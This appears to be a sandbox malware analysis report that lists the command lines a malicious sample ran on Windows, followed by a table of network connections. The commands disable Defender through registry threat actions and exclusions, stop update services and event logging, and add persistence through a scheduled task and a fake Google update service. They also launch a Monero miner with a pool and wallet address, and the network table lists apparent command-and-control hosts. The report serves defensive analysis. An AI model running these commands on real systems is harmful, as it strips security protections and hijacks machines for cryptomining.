reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\Temp\899992.exe

"C:\Windows\Temp\899992.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop UsoSvc

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32

C:\Windows\system32\wusa.exe

wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop WaaSMedicSvc

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop wuauserv

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop bits

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop dosvc

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop eventlog

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64

C:\ProgramData\Google\Chrome\updater.exe

C:\ProgramData\Google\Chrome\updater.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"

C:\Windows\Temp\192179.exe

"C:\Windows\Temp\192179.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop UsoSvc

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64

C:\Windows\system32\wusa.exe

wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop WaaSMedicSvc

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop wuauserv

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop bits

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop dosvc

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\conhost.exe

C:\Windows\system32\conhost.exe

C:\Windows\explorer.exe

explorer.exe

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64

C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe

C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32

C:\ProgramData\taskmgr.exe

C:\ProgramData\taskmgr.exe

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:32

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
RU 5.42.96.141:80 5.42.96.141 tcp
RU 5.42.96.7:80 5.42.96.7 tcp
US 8.8.8.8:53 141.96.42.5.in-addr.arpa udp
US 8.8.8.8:53 7.96.42.5.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
NL 23.62.61.162:443 www.bing.com tcp
US 8.8.8.8:53 162.61.62.23.in-addr.arpa udp
RU 5.42.96.7:80 5.42.96.7 tcp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 zippyfinickysofwps.shop udp
US 104.21.39.216:443 zippyfinickysofwps.shop tcp
US 8.8.8.8:53 216.39.21.104.in-addr.arpa udp
US 8.8.8.8:53 acceptabledcooeprs.shop udp
US 172.67.180.137:443 acceptabledcooeprs.shop tcp
DE 185.172.128.33:8970 tcp
RU 77.221.151.47:80 77.221.151.47 tcp
RU 185.215.113.67:26260 tcp
US 8.8.8.8:53 obsceneclassyjuwks.shop udp
US 172.67.192.5:443 obsceneclassyjuwks.shop tcp
US 8.8.8.8:53 137.180.67.172.in-addr.arpa udp
US 8.8.8.8:53 33.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 47.151.221.77.in-addr.arpa udp
